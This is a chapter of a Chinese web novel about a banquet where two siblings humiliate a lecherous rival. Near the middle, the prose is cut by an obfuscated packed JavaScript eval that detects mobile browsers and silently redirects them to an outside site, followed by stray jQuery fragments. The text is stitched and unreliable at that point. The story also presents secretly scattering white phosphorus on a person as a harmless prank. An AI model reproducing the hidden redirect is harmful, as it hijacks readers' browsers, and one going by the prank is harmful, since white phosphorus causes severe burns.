18. 第十八章
作品:《关于我搞错系统任务这件事》 “大家都在作诗,你俩却躲这儿偷闲?”
季玄晖慢慢悠悠晃着支狼毫笔走过来,笔尖还滴着墨,在石凳上溅出几滴墨梅出来。
季明月从石桌上跳下来,拍了拍手上并不存在的灰,撇嘴道:“我说哥啊,你难道不知道我作诗的水平?我要是上去吟一首月亮圆圆像大饼,阿娘怕是想把我塞回肚子里重生一个。”
她瞥了眼季玄晖手中的笔,挑眉:“咦?你拿支毛笔装什么大尾巴狼?你会作诗吗?”
“我是不想看王瑜那厮出风头!他哪里有那文采——准是提前找好的写手。”季玄晖突然打断她,转头看向李砚舟,“砚舟兄,你文采好,帮我作一篇,压压他的气焰!”
李砚舟说:“我不爱凑那热闹。”
季玄晖揶揄道:“那是,你是不爱往人堆里扎。可方才已经有好几个小娘子向我打听你了。”
季明月突然转了话题:“王瑜怎么得罪你了?蟹宴上我就发现,你俩眼神交汇都能擦出火星子。”
季玄晖烦躁地扯了扯衣领:“这人虚伪得很!当初在扬州私塾同读,我俩都是长安籍,起初关系还不错呢,塾里饭菜清汤寡水,所以我们常结伴出去打牙祭。有次……”
季玄晖的声音压得极低,仿佛那日的怒火至今未消:“那日我们在酒肆喝羊汤,遇到个卖唱的小姑娘,瞧着不过十一二岁,衣衫褴褛,牵着她那瞎眼的爹,说是思州遭了水患,一路卖唱到扬州。”
他攥紧了拳头,愤愤不平道:“嗓子都唱哑了,鞋子也没有!我瞧着可怜,给了两块广陵糕,又塞了块碎银。那瞎子爹感激涕零,颤巍巍跪下要给我磕头,结果弯腰时不小心碰到了王瑜的鞋尖……”
季明月眉头一皱:“所以呢?”
季玄晖冷笑一声:“那畜生嫌脏,当场破口大骂,还一脚踹在那老头心窝上。”
李砚舟原本抱臂站在一旁,闻言眸光一冷。
“然后呢?”季明月追问。
“然后?”季玄晖扯了扯嘴角,“小爷我给了他一拳。”
季明月眼睛一转:“就一拳?”
季玄晖摸了摸鼻子,露出几分少年意气:“唔……记不清了,大概五六七八拳吧。反正他打不过我,最后趴在地上喊娘,还说要找人教训我。我嫌丢人,拎着他后领子扔出了酒肆。”
季明月听完,这才觉得舒坦,忽然抚掌一笑:“哥,你这仇报得不够痛快。”她眼波流转,压低声音道,“我有个主意,保准让王瑜终生难忘。”
三人重回宴席时,曲水渠中已浮起数盏菊花酒。金蕊白瓣的秋菊载着琥珀光,在蜿蜒水道上缓缓漂游,停驻处便是一番诗酒交锋。
季照微方才一首《满庭芳》赢得满堂喝彩,此刻正执团扇轻摇,扇面绣的蝶扑牡丹随动作轻颤,仿佛也要醉在这秋光里。
凌绿珠忽拽季明月衣袖,压低声音:“裴云骁刚找我订了三十箱栀子香膏!三十箱!”她比划着,“上百块呢!他一个大男人要这么多香膏做什么?”
季明月一怔,余光瞥向席间——裴云骁正举杯与旁人对饮,姿态从容,仿佛方才凉亭里的剖白从未发生。她心头微涩,轻声道:“你就说存货不足,先送他几块试用罢。”
那厢王瑜因连作三首歪诗,已灌下数壶烈酒,面色酡红如蟹壳,他乜斜着眼高谈阔论,活像只耀武扬威的醉虾,时不时把目光化作舌头,把季照微浑身舔了个遍。
“阿弥陀佛,老天保佑,可千万别停在我跟前……”凌绿珠双手合十,默默祈祷。
羽觞停驻季玄晖案前,他浑不在意地抽支诗题筹:“哟,到小爷了啊,我看看,《赋得采莲曲》?”只听他清嗓念道:“莲叶何田田——”
众人屏息等下文,却听他拖长声调:“王八水中癫!”
满座先是一寂,继而哄堂大笑。郑临霜绢扇抵着鼻尖,肩膀小幅度抖动。崔玉墨假意低头整理披帛,实则把脸埋进银线刺绣里憋笑。季明月笑得直拍大腿,直接笑倒在案。
很快,当羽觞停在凌绿珠面前时,她便笑不起来了,她哪里会作什么诗,连字都认不得多少。
凌绿珠勉强挤出一个微笑:“我实在不擅诗文……”
“凌娘子莫谦逊了,”王瑜趁机起哄,“大不了似季郎般,博君一笑嘛!”
季照微心细如发,知道凌绿珠并非谦虚,而是真的不会,又不像季玄晖是个厚脸皮的,击掌道:“娱乐而已,何必强人所难。听闻凌娘子羯鼓一绝,不如击鼓代诗?”
季照微都这般发话了,王瑜也不好再说什么。
其实也谈不上多好,只是熟练而已,但此时凌绿珠如蒙大赦,接过侍女递来的双槌,指尖还微微发颤。她从未在如此场合演奏,紧张得手心冒汗。
“咚——”
鼓声既不激昂,也不清亮,反而像是被什么压住了喉咙,闷闷地砸在众人耳中。席间已有嗤笑浮动,有人知她商女身份,因此更无所畏惧,捏着酒杯讥讽:“这是什么?杀猪调?”
凌绿珠急得鼻尖沁汗,气息越来越不稳,鼓点更是杂乱。贵女们绢扇掩面,似有些不耐烦。
就在凌绿珠几乎要丢下鼓槌时,季明月起身,夺过鼓槌,在掌心转出个绯红的花,“光击鼓有什么意思,绿珠你来击鼓,我给你伴舞!”
凌绿珠重重点头:“嗯!”
有季明月加入,凌绿珠定了定心,鼓点骤变,季明月足尖点地旋开,石榴红裙绽成盛放牡丹,臂间泥银披帛化作流云飞雪。
作诗她或许不行,但论舞技,穿书前的季明月可是实打实的功底。十多年古典舞炼出的身段,幼时芭蕾舞打下的底子,让她每一个腾跃都轻盈如燕,回旋时裙摆飞扬,竟在半空中劈出一字马。
在座的各个看呆了,尤其是那王瑜,眼神直勾勾盯着季明月姣好的身材,酒杯倾斜,酒液浸湿衣襟也浑然不觉。
他喉结滚动,低声对身旁人道:“季家二女,一个清冷如霜,一个艳若桃李……前者娶回家当个摆设,后者嘛……自然是少不了闺房情趣……”未尽之言,龌龊尽显。
季明月冷笑,旋身时披帛甩打在他脸上,力道不轻不重,既让他吃痛,又不至于当场翻脸。王瑜竟也不恼,反倒痴痴笑着,仿佛这一下是美人恩赐。
裴云骁则不满地咳嗽几声,拿出一只筚篥来,跟着羯鼓的节拍,丝滑切入。鼓槌落下的瞬间,声浪如漠北沙暴般炸开,鼓声累累,又像战马
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094061|179721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁蹄踏过冻土,震得案上酒樽微微颤动。
筚篥如孤狼舔舐伤口,带着西域芦管特有的嘶哑气声,在听者脑内画出金戈铁马气吞山河之势,而季明月则像敦煌壁画里那些飞升不成反堕地狱的媚女,极尽妖娆。
一舞已毕,满座悄然无声。
季明月见季玄晖鬼鬼祟祟给她比了个“成了”的手势,这才放心入座。
羽觞再次漂至王瑜面前,他志得意满地挽袖探手,从曲水中捞起一支湿透的诗筹。水珠顺着竹签滴落,他眯眼细看,面色骤然一僵,本该是《金菊赋》的诗筹,此刻赫然写着《咏史》二字。
季玄晖躲在人群后笑得肩膀直抖。方才季明月翩然起舞时,他早已狸猫换太子,将王瑜备好的诗筹尽数调包。此刻水中浸泡的,全是精心准备的死亡题库。
王瑜喉结滚动,抬头环顾四周,不明白这诗筹为何会被他捞到,冷汗顺着鬓角滑落。可放下诗筹等于认输,硬着头皮作诗更是自取其辱。
“瑜兄,你不是七步成诗吗?今日这水流得慢,给你七十步都够了吧?”王瑜平生最恨别人喊他“瑜兄”,听起来可不就是愚兄?可偏偏季玄晖就喜欢这么喊他,当着众人,他还不好发作。
季玄晖继续咄咄逼人:“哦……不会是吧?”
王瑜额角青筋直跳,强撑着冷笑:“谁说不会?不过是酒喝多了脑子发胀,我现在要去更衣。”
季玄晖也不拦着,高高兴兴道:“茅厕在东边,可别走反了,我们等你回来继续哦!”
王瑜踉踉跄跄冲进茅厕,“一定是他捣的鬼!”上完茅厕,正提裤骂骂咧咧,忽然看见门口飘起几团幽蓝色的火焰,在夜色中忽明忽灭,宛如鬼眼。
王瑜双腿一软,差点跌进粪坑,“这是什么!这是什么!鬼……鬼……鬼火啊!季府不干净!”王瑜吓得哆哆嗦嗦,手忙脚乱地提裤,腰带却缠成了死结,情急之下竟扯断系带,裤子“唰”地滑到脚踝。
更可怕的是,那蓝火竟似活物一般,他往左躲,火便飘向左,他向右逃,火又追向右。甚至他的袖口、衣摆都开始渗出点点蓝光,像被冤魂附体一般。
“救命啊!!!”王瑜再也顾不得体面,光着屁股冲出茅厕,一路鬼哭狼嚎。那几团磷火却如索命幽魂,飘飘荡荡紧随其后,将他狼狈逃窜的身影照得清清楚楚。
“哈哈哈哈……王家郎,夜奔忙,蓝火追着白屁股晃……”季明月满意地拍拍手,和李砚舟一同从黑暗中走出来。
“小石榴,干得不错!”季明月道。
李砚舟问:“你是如何做到的?”
“什么鬼火?这叫磷化氢燃烧现象!人体和动物骨骼里含有大量的磷元素,尸体腐烂后,磷就会转化成磷化氢,这种东西无色,燃点还很低,接触到空气,很容易自然,这就是你看到的鬼火喽。”
“所以,你让我洒的那些东西,就是白磷?那为什么会跟着他跑呢?”李砚舟难得追问。
“你可真是好奇宝宝,因为人在快速移动时,身体会推动周围空气流动,形成一股向前的气流,就造成了鬼火追着人跑的错觉。懂了吗?人动生风,风引火走。而且我方才用袖子打他脸,顺便抖落了些白磷哈哈哈。”